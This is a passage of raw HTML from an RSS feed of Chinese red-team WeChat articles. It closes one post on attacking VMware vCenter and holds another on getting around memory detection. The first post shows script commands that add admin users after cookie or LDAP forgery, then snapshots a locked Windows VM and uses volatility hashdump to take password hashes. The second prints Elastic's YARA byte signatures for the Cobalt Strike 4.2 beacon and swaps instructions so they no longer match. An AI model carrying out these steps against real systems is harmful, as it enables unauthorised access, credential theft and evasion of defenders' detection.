data-galleryid="" data-ratio="0.15472779369627507" data-s="300,640" style="" data-type="png" data-w="1047" src="https://wechat2rss.xlab.app/img-proxy/?k=ac7753d9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEveRaQEOeqrqHo13VoxogdMsU92heHXypH7fnu9U32DicOuNAHeLIExxDRibicevFexmR0C4KtKnl0Flw%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>根据收集到的信息修改脚本内容</p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6805555555555556" data-s="300,640" style="" data-type="png" data-w="576" src="https://wechat2rss.xlab.app/img-proxy/?k=9fa69ffb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEveRaQEOeqrqHo13VoxogdMs3tE2ZWDyIV8bcPzfTrmdhSNiacKziaZVVzpQLH8wtlyYoSZWv9RwPsgw%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>使用下列命令adduser、addadmin</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">python</span> <span class="code-snippet__selector-tag">update</span><span class="code-snippet__selector-class">.py</span> <span class="code-snippet__selector-tag">adduser</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">python</span> <span class="code-snippet__selector-tag">update</span><span class="code-snippet__selector-class">.py</span> <span class="code-snippet__selector-tag">addadmin</span></span></code></pre></section><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4221198156682028" data-s="300,640" style="" data-type="png" data-w="1085" src="https://wechat2rss.xlab.app/img-proxy/?k=414fd20f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEveRaQEOeqrqHo13VoxogdMsb9htEvmERsbvN3RdKLhm4bnSfyKiaqE0nBfKUFcgJE6rRzRE1IKRLcg%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.38817005545286504" data-s="300,640" style="" data-type="png" data-w="1082" src="https://wechat2rss.xlab.app/img-proxy/?k=7ffc92c0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEveRaQEOeqrqHo13VoxogdMsKLtdSQbf5KdtYLoicpR0UmJHXpCaT17icJyGR5SMTkSZfkAEZhgFeADw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;margin-bottom: 0em;"><br/></p><p>登录验证<br/></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.037358238825883926" data-s="300,640" style="" data-type="png" data-w="1499" src="https://wechat2rss.xlab.app/img-proxy/?k=0c171878&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEveRaQEOeqrqHo13VoxogdMsducaAWcUnuqMmZLCPDpfqJHqpSo0b9qFXfYHMFADwvA1l1pGmcyZbQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><strong>·获取Vcenter后台windows机器权限<br/></strong></p><p><br/></p><p><strong>使用脚本<br/></strong></p><p><a href="https://www.volatilityfoundation.org/releases" target="_blank">https://www.volatilityfoundation.org/releases</a></p><p><br/></p><p><strong>手法<br/></strong></p><p>利用伪造cookie或者LDAP创建管理员进入到后台，找到一台处于锁屏界面的windows主机，创建快照。</p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5009196811771919" data-s="300,640" style="" data-type="png" data-w="1631" src="https://wechat2rss.xlab.app/img-proxy/?k=70dffff9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEveRaQEOeqrqHo13VoxogdMs9V3eia6iafL2uAIQcphibE3V1JLMxviaK95uA0SkUkl1tJah50x7sbS2yA%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>快照保存在相对应的数据库中，在相对应的数据库中下载vmem和vmsn这两个文件。<br/></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.49693627450980393" data-s="300,640" style="" data-type="png" data-w="1632" src="https://wechat2rss.xlab.app/img-proxy/?k=88f17a8b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEveRaQEOeqrqHo13VoxogdMswXqn4AgNvRSqWMjibRsoxibxyAiawmfiacHe6jLKATfSKMpUMBZaJRCJlg%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>利用volatility查看Suggested Profile(s)</p><p>默认选择第一个（volatility默认推荐）<br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">volatility_2</span><span class="code-snippet__selector-class">.6_win64_standalone</span><span class="code-snippet__selector-class">.exe</span> <span class="code-snippet__selector-tag">-f</span> <span class="code-snippet__selector-tag">server2008R2-Snapshot2</span><span class="code-snippet__selector-class">.vmem</span> <span class="code-snippet__selector-tag">imageinfo</span></span></code></pre></section><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.32948243992606285" data-s="300,640" style="" data-type="png" data-w="2164" src="https://wechat2rss.xlab.app/img-proxy/?k=a0c586c4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvfz2Z7sh6Yiaicf22Q7IfNuGxDzIAQru868ibq8LLqXR0s0qEB0dx0wZjYWP1KAPeqYnjwGjt9GkvjmQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>列出注册表内容</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="sql"><code><span class="code-snippet_outer">volatility_2.6_win64_standalone.exe -f server2008R2-Snapshot2.vmem <span class="code-snippet__comment">--profile=Win7SP1x64 hivelist</span></span></code></pre></section><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.3148148148148148" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=6df55b80&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEveRaQEOeqrqHo13VoxogdMsUhHQZxNnSOiahjN8WKYhG6bnnXcxh8XccTLbicsIdibuFM8KZ1dHjh4vA%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>使用hashdump获取hash值</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="go"><code><span class="code-snippet_outer">volatility_2<span class="code-snippet__number">.6</span>_win64_standalone.exe -f server2008R2-Snapshot2.vmem --profile=Win7SP1x64 hashdump -y <span class="code-snippet__number">0xfffff</span>8a000024010 -s <span class="code-snippet__number">0xfffff</span>8a000478010</span></code></pre></section><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.09631728045325778" data-s="300,640" style="" data-type="png" data-w="1059" src="https://wechat2rss.xlab.app/img-proxy/?k=2c31a3d7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEveRaQEOeqrqHo13VoxogdMs8rKoGBiaoEbwuibo6bKxpaicnAFCYsj0YCSMUbBbo1cx9vlp5mJBuy5mA%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>还有一些其他的手法本文未提及，D大的可以自行研究下，提前祝大家周末愉快！</p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="1.037037037037037" data-s="300,640" style="" data-type="png" data-w="189" src="https://wechat2rss.xlab.app/img-proxy/?k=972b1639&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvfz2Z7sh6Yiaicf22Q7IfNuGx9wC56Biakxwt1ndNNkCYzXrD96cEuxlImd2tficWdYUt4MXoqhgWstvQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p>



<p><a href="2247484848">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=c4088520&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU2NTc2MjAyNg%3D%3D%26mid%3D2247484848%26idx%3D1%26sn%3D0bed08e6d02facd721fc1735f987e09f%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 10 May 2022 20:20:00 +0800</pubDate>
    </item>
    <item>
      <title>“考古”之cs4.2内存特征绕过</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU2NTc2MjAyNg==&amp;mid=2247484793&amp;idx=1&amp;sn=7fe81d74d8ff8ab0cd8e791c6204c5d7</link>
      <description>简单来讲，就是当cs在profile中设置sleep_mask为true时，Beacon会在进入sleep之前在内存中混淆自身，但是这个操作只会混淆字符串和数据，而负责进行加解密的代码部分不会混淆，且在内存中可以被标记出来</description>
      <content:encoded><![CDATA[<p>
原创 <span>归零</span> <span>2021-11-26 16:40</span> <span style="display: inline-block;"></span>
</p>

<p>简单来讲，就是当cs在profile中设置sleep_mask为true时，Beacon会在进入sleep之前在内存中混淆自身，但是这个操作只会混淆字符串和数据，而负责进行加解密的代码部分不会混淆，且在内存中可以被标记出来</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=003c3341&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fqr5uyVXdEveAO8ysaeX8mHCfhnfNDBEac8h7BKYSsjNTrj4yLRqKg4xJhCLEvepOhE7RvuD4CkMD2lZpQw97yg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;">        特征出自：</span><span spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://www.elastic.co/cn/blog/detecting-cobalt-strike-with-memory-signatures" target="_blank">https://www.elastic.co/cn/blog/detecting-cobalt-strike-with-memory-signatures</a></span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;">        <span style="box-sizing: border-box;">简单来讲，就是当cs在profile中设置sleep_mask为true时，Beacon会在进入sleep之前在内存中混淆自身，但是这个操作只会混淆字符串和数据，而负责进行加解密的代码部分不会混淆，且在内存中可以被标记出来，这就成了cs的内存特征之一</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span style="white-space:pre-wrap;box-sizing: border-box;display: inline-block;">        </span><span style="box-sizing: border-box;">文章中给出了x64和x86的特征值：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code style=""><span class="code-snippet_outer">$a_x64 = {4C 8B 53 08 45 8B 0A 45 8B 5A 04 4D 8D 52 08 45 85 C9 75 05 45 85 DB 74 33 45 3B CB 73 E6 49 8B F9 4C 8B 03}</span></code><code style=""><span class="code-snippet_outer"><br/></span></code><code style=""><span class="code-snippet_outer">$a_x86 = {8B 46 04 8B 08 8B 50 04 83 C0 08 89 55 08 89 45 0C 85 C9 75 04 85 D2 74 23 3B CA 73 E6 8B 06 8D 3C 08 33 D2}</span></code></pre></section><p style="text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 15px;margin: 1.5em 8px;letter-spacing: 0.1em;"><span style="color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 4;text-align: start;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;">        可以看到确实能被检测出来：<br/></span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4056795131845842" data-s="300,640" style="" data-type="png" data-w="986" src="https://wechat2rss.xlab.app/img-proxy/?k=21e40065&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEveAO8ysaeX8mHCfhnfNDBEa0aWFAKY64MWeQxFKkNHsSaqPKF64Neg7l4AJHVEJN36eCKvDNPqhEA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 15px;margin: 1.5em 8px;letter-spacing: 0.1em;"><span style="color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 4;text-align: start;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;">        下面开始绕过，<span style="color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 4;text-align: start;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;">还是</span>先解密dll（解密相关请看我以前的文章：<a href="https://mp.weixin.qq.com/s/fhcTTWV4Ddz4h9KxHVRcnw），然后用ida打开beacon.dll，找到特征对应的地方：" target="_blank">https://mp.weixin.qq.com/s/fhcTTWV4Ddz4h9KxHVRcnw），然后用ida打开beacon.dll，找到特征对应的地方：</a></span><span style="color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 4;text-align: start;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"></span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.49375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=b9e70c95&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEveAO8ysaeX8mHCfhnfNDBEaJmsV9QT6yGDwbc3FfFSwMz9m5U8gzuLzMVrbibVV4wBbkrdibiclfSQ2g%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 15px;margin: 1.5em 8px;letter-spacing: 0.1em;"><span style="color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 4;text-align: start;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;">        其实它这个规则匹配的就是功能代码部分，对应的伪代码是这一段：<br/></span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.8344051446945338" data-s="300,640" style="" data-type="png" data-w="622" src="https://wechat2rss.xlab.app/img-proxy/?k=3f0d9e07&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEveAO8ysaeX8mHCfhnfNDBEao5HfRn8yWribibHueI0ibxpIwcFE7QiakJmpDyCZQzc0sGgIjnMKFKwrCg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 15px;margin: 1.5em 8px;letter-spacing: 0.1em;"><span style="color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 4;text-align: start;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;">        由于它是基于程序一小块功能来进行匹配的，那么我们稍微改变一下程序的逻辑或者算法，那么就能改变局部的机器码，<span style="color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 4;text-align: start;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;">细看一下汇编代码，发现可以在这里动手：</span></span><span style="box-sizing: border-box;"></span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.7222222222222222" data-s="300,640" style="" data-type="png" data-w="270" src="https://wechat2rss.xlab.app/img-proxy/?k=6c283793&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEveAO8ysaeX8mHCfhnfNDBEaZcicmxGn51NotxNhM4nbkoccEgZiaFzwYqEeFM4LMv3feg4siaWJ8mJCg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 15px;margin: 1.5em 8px;letter-spacing: 0.1em;"><span style="color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 4;text-align: start;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;">        第一条指令是把eax的值给ecx，第二条指令是把eax+4的值给edx，那么很明显这两条指令交换顺序是不影响的，其中mov ecx, [eax]对应的机器码是8B 08，mov edx, [eax+4]对应的机器码是8B 50 04,把他们交换下顺序即可：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.2496551724137931" data-s="300,640" style="" data-type="png" data-w="725" src="https://wechat2rss.xlab.app/img-proxy/?k=57d7b716&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEveAO8ysaeX8mHCfhnfNDBEaGL8kYvVPiaSzhSgHYFB6jc9RazeHABS54PJ6GQ3k6LG40WCOC5fk1ow%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 15px;margin: 1.5em 8px;letter-spacing: 0.1em;"><span style="color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 4;text-align: start;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;">        然后两条指令成功交换了执行顺序：<br/></span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6666666666666666" data-s="300,640" style="" data-type="png" data-w="282" src="https://wechat2rss.xlab.app/img-proxy/?k=89778737&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEveAO8ysaeX8mHCfhnfNDBEa93IWxdXsvTMOqHKT5wDwk2azbNCPSr8ZfIicJuMGhxmCH2WHm70YaqQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 15px;margin: 1.5em 8px;letter-spacing: 0.1em;"><span style="color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 4;text-align: start;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;">        改完过后就匹配不到了：</span><span style="color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 4;text-align: start;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"></span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.47713097713097713" data-s="300,640" style="" data-type="png" data-w="962" src="https://wechat2rss.xlab.app/img-proxy/?k=a2f1277e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEveAO8ysaeX8mHCfhnfNDBEaF2eLn5LmzpKyJm7Nj7ib7XniaufBIOPeqiatia4jg3vcqialojm24jKic7bQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 15px;margin: 1.5em 8px;letter-spacing: 0.1em;"><span style="color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 4;text-align: start;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;">        x64的修改也是同样的思路，想研究的就自己去实践下吧。<br/></span></p><p style="text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 15px;margin: 1.5em 8px;letter-spacing: 0.1em;"><span style="color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 4;text-align: start;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;">        本文只是作者前段时间<span style="color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 4;text-align: start;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;">一次</span>内部技术分享中的一个小节，获得更多内容的方式在下面（<span style="color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 4;text-align: start;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;">打个小广告</span>）：<br/></span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;">青藤云安全招聘</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;">岗位：渗透测试工程师（红队方向）<br/></span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: 